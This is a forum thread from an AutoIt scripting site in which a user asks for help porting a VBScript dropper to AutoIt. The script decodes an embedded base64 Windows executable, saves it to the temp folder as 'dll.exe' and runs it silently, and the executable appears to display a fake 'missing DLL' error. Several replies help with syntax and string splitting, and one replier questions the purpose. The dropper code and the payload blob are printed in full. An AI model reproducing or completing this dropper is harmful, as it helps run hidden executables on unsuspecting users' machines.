Jump to content

VBS to AU3


colegero
 Share

Recommended Posts

Hi mate, plz covert my VBS script:
on error resume next
dim medo,sea,medoff
dim maasr
set helper = createobject("Wscript.Shell")
maasr = helper.ExpandEnvironmentStrings("%temp%")
set medo = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
medo.dataType="bin.base64"
medo.text="TVqQAAMAAAAEAAAA=="
set sea= CreateObject("ADODB.Stream")
sea.Type=1
sea.Open
sea.Write medo.nodeTypedValue
sea.SavetoFile maasr & "\dll.exe",2
helper.run(maasr & "\dll.exe")
Function gggggggggggggggg ()
gggggggggggggggg = chr(104) & chr(101) & chr(114) & chr(111)
End function

Link to comment
Share on other sites

  • Moderators

@colegero welcome to the forum. On this forum we follow the "teach a man to fish" motto. We are dedicated to helping people with their scripts; it is not a place where you put in a request and someone barfs up code for you. If you will spend 10 minutes with the help file you will find that the syntax is very similar between the two. Look at sections in the help file like ObjCreate, FileWrite, etc. and you should be well on your way.

If, after you try it on your own, you are having problems, feel free to post your code and we will do our best to assist ;)

Edited by JLogan3o13

"Profanity is the last vestige of the feeble mind. For the man who cannot express himself forcibly through intellect must do so through shock and awe" - Spencer W. Kimball

How to get your question answered on this forum!

Link to comment
Share on other sites

57 minutes ago, JLogan3o13 said:

@colegero welcome to the forum. On this forum we follow the "teach a man to fish" motto. We are dedicated to helping people with their scripts; it is not a place where you put in a request and someone barfs up code for you. If you will spend 10 minutes with the help file you will find that the syntax is very similar between the two. Look at sections in the help file like ObjCreate, FileWrite, etc. and you should be well on your way.

If, after you try it on your own, you are having problems, feel free to post your code and we will do our best to assist ;)

Thanks for the advice)), the thing is that I tried to do through the variable "$ code" and got this error "$ Code & = 'medo.text =" TVqQAAMAAAAEAAAA == "' - Unterminated string"

Link to comment
Share on other sites

  • Moderators

It is a bit difficult to guess at what you're doing when you don't show us any code. As I suggested above, post your entire AutoIt script and we will help you out with syntax.

"Profanity is the last vestige of the feeble mind. For the man who cannot express himself forcibly through intellect must do so through shock and awe" - Spencer W. Kimball

How to get your question answered on this forum!

Link to comment
Share on other sites

22 minutes ago, JLogan3o13 said:

It is a bit difficult to guess at what you're doing when you don't show us any code. As I suggested above, post your entire AutoIt script and we will help you out with syntax.

Local $Code = ""
$Code &= 'On Error Resume Next' & @LF

$Code &= 'dim medo,sea,medoff' & @LF
$Code &= 'dim maasr' & @LF
$Code &= 'set helper = createobject("Wscript.Shell")' & @LF

$Code &= 'maasr = helper.ExpandEnvironmentStrings("%temp%")' & @LF
$Code &= 'set medo = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")' & @LF
$Code &= 'medo.dataType="bin.base64"' & @LF
$Code &= 'medo.text="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LgAbANkALgAjAOIALgArAO0ALgAzAO0ALgA7AO0ALgBDAOIALgBLAPMALgBTAO0ALgBbAO0ALgBjAAsBLgBrADUBSQCTAOIBgABzAEIBgwB7AEcBgwCDAEIBgwCLAEIBowCLAEIBowB7AIgBJgA+AF0AYgAEAAEABQADAAAAYgOiAAAAnQCnAAAAlgSsAAIABgADAAIABwAFAAEACAAFAAIACQAHAASAAAABAAAAAAAAAAAAAAAAAJUDAAACAAAAAAAAAAAAAABwABAAAAAAAAIAAAAAAAAAAAAAAHAAWQQAAAAAAgAAAAAAAAAAAAAAcADqAgAAAAAAAAAAAQAAAAsEAAAAAAAAAEZvcm0xADxNb2R1bGU+AG1zY29ybGliAFN5bmNocm9uaXplZABkZWZhdWx0SW5zdGFuY2UAc2V0X0F1dG9TY2FsZU1vZGUASURpc3Bvc2FibGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAVHlwZQBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQByZXNvdXJjZUN1bHR1cmUAQXBwbGljYXRpb25TZXR0aW5nc0Jhc2UARGlzcG9zZQBFZGl0b3JCcm93c2FibGVTdGF0ZQBTVEFUaHJlYWRBdHRyaWJ1dGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBHZW5lcmF0ZWRDb2RlQXR0cmlidXRlAERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAHZhbHVlAEVycm9yLmV4ZQBkaXNwb3NpbmcAU3lzdGVtLkNvbXBvbmVudE1vZGVsAENvbnRhaW5lckNvbnRyb2wAUHJvZ3JhbQBTeXN0ZW0ARm9ybQByZXNvdXJjZU1hbgBNYWluAE1lc3NhZ2VCb3hJY29uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEN1bHR1cmVJbmZvAGdldF9SZXNvdXJjZU1hbmFnZXIAU3lzdGVtLkNvZGVEb20uQ29tcGlsZXIASUNvbnRhaW5lcgBFcnJvcgAuY3RvcgAuY2N0b3IAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SZXNvdXJjZXMARXJyb3IuUHJvcGVydGllcy5SZXNvdXJjZXMucmVzb3VyY2VzAERlYnVnZ2luZ01vZGVzAEVycm9yLlByb3BlcnRpZXMAU2V0dGluZ3MAU3lzdGVtLldpbmRvd3MuRm9ybXMATWVzc2FnZUJveEJ1dHRvbnMAY29tcG9uZW50cwBPYmplY3QAZ2V0X0RlZmF1bHQARGlhbG9nUmVzdWx0AEluaXRpYWxpemVDb21wb25lbnQAc2V0X1RleHQAU2hvdwBNZXNzYWdlQm94AGdldF9Bc3NlbWJseQAAAAAAC0YAbwByAG0AMQAAKU0AaQBzAHMAaQBuAGcAIABtAHMAdgBjAHIAMQAwADAALgBkAGwAbAAAHUMAcgBpAHQAaQBjAGEAbAAgAGUAcgByAG8AcgAANUUAcgByAG8AcgAuAFAAcgBvAHAAZQByAHQAaQBlAHMALgBSAGUAcwBvAHUAcgBjAGUAcwAAAMV/NQRuMTFLlGS1/BT6/wgABCABAQgDIAABBSABARERBCABAQ4EIAEBAgUgAgEODgUgAQERYQMHAQIFIAEBEXkNAAQRgIUODhGAiRGAjQcHAwISWRJZCAABEoCREYCVBSAAEoCZByACAQ4SgJkEBwESXQQHARIUCAABEoCdEoCdCLd6XFYZNOCJAwYS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"' & @LF
$Code &= 'set sea= CreateObject("ADODB.Stream")' & @LF
$Code &= 'sea.Type=1' & @LF
$Code &= 'sea.Open' & @LF
$Code &= 'sea.Write medo.nodeTypedValue' & @LF
$Code &= 'sea.SavetoFile maasr & "\dll.exe",2' & @LF
$Code &= 'helper.run(maasr & "\dll.exe")' & @LF

$Code &= 'Function tttttttttttttttt ()' & @LF
$Code &= 'tttttttttttttttt = chr(104) & chr(101) & chr(114) & chr(111)' & @LF
$Code &= 'End function' & @LF

 Local $VbsObj = ObjCreate("ScriptControl")
    $VbsObj.Language = "vbscript"
    $VbsObj.AddCode($Code)
$Res =$VbsObj.Run("Test", 20)

Here, my code =))

Link to comment
Share on other sites

  • Moderators

Ok, not at all what I meant by comparing syntax :x

Let's start over. From your original VBS:

1 hour ago, colegero said:

dim medo,sea,medoff
dim maasr

You set variables like this in AutoIt:

Local $oHelper = ObjCreate("Wscript.Shell") ;Not really needed
Local $maasr = @TempDir
Local $oMedo = ObjCreate("Msxml12.DOMDocument.3.0").CreateElement("base64")
Local $oSea - ObjCreate("ADODB.Stream")

Then you would act upon those objects (make sure you have error checking to ensure they're created correctly), the same as you do in VBS

$oMedo.dataType = "bin.base64"
$oMedo.Text = "Text"
etc.

Finally, you call a function with the Func keyword:

Func g() ;Give it a meaningful name
    Local $g = (Chr(104) & Chr(101) & Chr(114) & Chr(111))
EndFunc

Now, I'll leave it to you to put all of that together into something cohesive, and add error checking along the way. Look in the help file for @error. If you run into further issues, post what you have here.

Edited by JLogan3o13

"Profanity is the last vestige of the feeble mind. For the man who cannot express himself forcibly through intellect must do so through shock and awe" - Spencer W. Kimball

How to get your question answered on this forum!

Link to comment
Share on other sites

1 hour ago, colegero said:

$Code &= 'set medo = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")' &
$Code
&= 'medo.dataType="bin.base64"'
$Code
&= 'medo.text="TVqQAAMAAAAEAAAA//.......AAAAAA="'
$Code
&= 'set sea= CreateObject("ADODB.Stream")'
$Code
&= 'sea.Type=1'
$Code
&= 'sea.Open'
$Code &= 'sea.Write medo.nodeTypedValue'
$Code &= 'sea.SavetoFile maasr & "\dll.exe",2'
$Code &= 'helper.run(maasr & "\dll.exe")' & @LF

All what I see is that you are trying to embend some File into your program file, save them to disc and run.

What is the purpose of this ?

 

Edited by mLipok

Signature beginning:
Please remember: "AutoIt"..... *  Wondering who uses AutoIt and what it can be used for ? * Forum Rules *
ADO.au3 UDF * POP3.au3 UDF * XML.au3 UDF * IE on Windows 11 * How to ask ChatGPT for AutoIt Codefor other useful stuff click the following button:

Spoiler

Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind. 

My contribution (my own projects): * Debenu Quick PDF Library - UDF * Debenu PDF Viewer SDK - UDF * Acrobat Reader - ActiveX Viewer * UDF for PDFCreator v1.x.x * XZip - UDF * AppCompatFlags UDF * CrowdinAPI UDF * _WinMergeCompare2Files() * _JavaExceptionAdd() * _IsBeta() * Writing DPI Awareness App - workaround * _AutoIt_RequiredVersion() * Chilkatsoft.au3 UDF * TeamViewer.au3 UDF * JavaManagement UDF * VIES over SOAP * WinSCP UDF * GHAPI UDF - modest begining - comunication with GitHub REST APIErrorLog.au3 UDF - A logging Library * Include Dependency Tree (Tool for analyzing script relations) * Show_Macro_Values.au3 *

 

My contribution to others projects or UDF based on  others projects: * _sql.au3 UDF  * POP3.au3 UDF *  RTF Printer - UDF * XML.au3 UDF * ADO.au3 UDF SMTP Mailer UDF * Dual Monitor resolution detection * * 2GUI on Dual Monitor System * _SciLexer.au3 UDF * SciTE - Lexer for console pane

Useful links: * Forum Rules * Forum etiquette *  Forum Information and FAQs * How to post code on the forum * AutoIt Online Documentation * AutoIt Online Beta Documentation * SciTE4AutoIt3 getting started * Convert text blocks to AutoIt code * Games made in Autoit * Programming related sites * Polish AutoIt Tutorial * DllCall Code Generator * 

Wiki: Expand your knowledge - AutoIt Wiki * Collection of User Defined Functions * How to use HelpFile * Good coding practices in AutoIt * 

OpenOffice/LibreOffice/XLS Related: WriterDemo.au3 * XLS/MDB from scratch with ADOX

IE Related:  * How to use IE.au3  UDF with  AutoIt v3.3.14.x * Why isn't Autoit able to click a Javascript Dialog? * Clicking javascript button with no ID * IE document >> save as MHT file * IETab Switcher (by LarsJ ) * HTML Entities * _IEquerySelectorAll() (by uncommon) * IE in TaskSchedulerIE Embedded Control Versioning (use IE9+ and HTML5 in a GUI) * PDF Related:How to get reference to PDF object embeded in IE * IE on Windows 11

I encourage you to read: * Global Vars * Best Coding Practices * Please explain code used in Help file for several File functions * OOP-like approach in AutoIt * UDF-Spec Questions *  EXAMPLE: How To Catch ConsoleWrite() output to a file or to CMD *

I also encourage you to check awesome @trancexx code:  * Create COM objects from modules without any demand on user to register anything. * Another COM object registering stuffOnHungApp handlerAvoid "AutoIt Error" message box in unknown errors  * HTML editor

winhttp.au3 related : * https://www.autoitscript.com/forum/topic/206771-winhttpau3-download-problem-youre-speaking-plain-http-to-an-ssl-enabled-server-port/

"Homo sum; humani nil a me alienum puto" - Publius Terentius Afer
"Program are meant to be read by humans and only incidentally for computers and execute" - Donald Knuth, "The Art of Computer Programming"
:naughty:  :ranting:, be  :) and       \\//_.

Anticipating Errors :  "Any program that accepts data from a user must include code to validate that data before sending it to the data store. You cannot rely on the data store, ...., or even your programming language to notify you of problems. You must check every byte entered by your users, making sure that data is the correct type for its field and that required fields are not empty."

Signature last update: 2023-04-24

Link to comment
Share on other sites

As you can read here, unlike a string (which can be up to 2GB (-1) in size) a line of script can contain up to 4095 chars and yours is about twice as long, so it is clipped, then consequently lacks a termination char (in this case: ' (apostrophe)). So you need to break up such strings into chunks smaller than 4K and concatenate them on consecutive script lines with <space><ampersand><space><underscore> added:

<string part1> & _ 
<string part 2> & _
...
<string last part>

where each string part is properly enclosed (in your case, using apostrophes, as quotation marks are part of the string content).

Edited by RTFC
clarification
Link to comment
Share on other sites

1 hour ago, RTFC said:

As you can read here, unlike a string (which can be up to 2GB (-1) in size) a line of script can contain up to 4095 chars and yours is about twice as long, so it is clipped, then consequently lacks a termination char (in this case: ' (apostrophe)). So you need to break up such strings into chunks smaller than 4K and concatenate them on consecutive script lines with <space><ampersand><space><underscore> added:

<string part1> & _ 
<string part 2> & _
...
<string last part>

where each string part is properly enclosed (in your case, using apostrophes, as quotation marks are part of the string content).

You can show how to implement this in my code??

Link to comment
Share on other sites

colegero,

$sText = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJTQXFkAAAAAAAAAAOAAIgALATAAABAAAAAIAAAAAAAAwi8AAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAIAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHAvAABPAAAAAEAAAIwFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAA4LgAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAyA8AAAAgAAAAEAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIwFAAAAQAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAGAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACkLwAAAAAAAEgAAAACAAUAhCEAAPwLAAABAAAABAAABoAtAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CFH0BAAAEAigTAAAKAAACKAMAAAYAKhMwAgArAAAAAQAAEQADLAsCewEAAAQU/gMrARYKBiwOAAJ7AQAABG8UAAAKAAACAygVAAAKACqGAAJzFgAACn0BAAAEAhcoFwAACgACcgEAAHBvGAAACgAqVgByDQAAcHI3AABwFh8QKBkAAAomKiYCKBoAAAoAACoAAAATMAIAOQAAAAIA" & _
        "ABEAfgIAAAQU/gEKBiwiAHJVAABw0AQAAAIoGwAACm8cAAAKcx0AAAoLB4ACAAAEAH4CAAAEDCsACCoAAAATMAEACwAAAAMAABEAfgMAAAQKKwAGKiIAAoADAAAEKhMwAQALAAAABAAAEQB+BAAABAorAAYqIgIoHgAACgAqVnMKAAAGKB8AAAp0BQAAAoAEAAAEKgAAQlNKQgEAAQAAAAAADAAAAHYyLjAuNTA3MjcAAAAABQBsAAAAIAQAACN+AACMBAAA6AQAACNTdHJpbmdzAAAAAHQJAACMAAAAI1VTAAAKAAAQAAAAI0dVSUQAAAAQCgAA7AEAACNCbG9iAAAAAAAAAAIAAAFXFaIBCQEAAAD6ATMAFgAAAQAAACcAAAAFAAAABAAAAAsAAAACAAAAHwAAABUAAAAEAAAAAgAAAAMAAAAEAAAAAQAAAAMAAAABAAAAAACnAgEAAAAAAAYAFgLaAwYAgwLaAwYASgGoAw8AMAQAAAYAiwFAAwYA+QFAAwYA2gFAAwYAagJAAwYANgJAAwYATwJAAwYAogFAAwYAdwG7AwYACAG7AwYAvQFAAwoA8QJZBA4AigO7AgYAiwTqAgYA2gDqAg4AFgFyAwYALQGoAwYA7QDaAwYAYgP6AwYAUgMrAw4AxQC7Ag4AXgG7Ag4ApQAWAwYASADqAg4AiwO7AgoA0QJZBAoAOgBZBAoA2gJZBAoAzQRZBAoAngRZBAoAbgRZBAoABwNZBAYAeADqAgYAVADqAgYA3ARAAw4AsAAWAwAAAAAHAAAAAAABAAEAAQAQAAEAlQM9AAEAAQCAARAA4gKVA0UAAgAEAAAAEAABBD8ERQACAAUAAAEQAFAEPwRpAAQACQABAIAEeQARAPYCfQARAJUAgQARACYAhQBQIAAAAACGGJsDBgABAGggAAAAAMQAvQAVAAEAnyAAAAAAgQCrBAYAAgDBIAAAAACRAAIDiQACA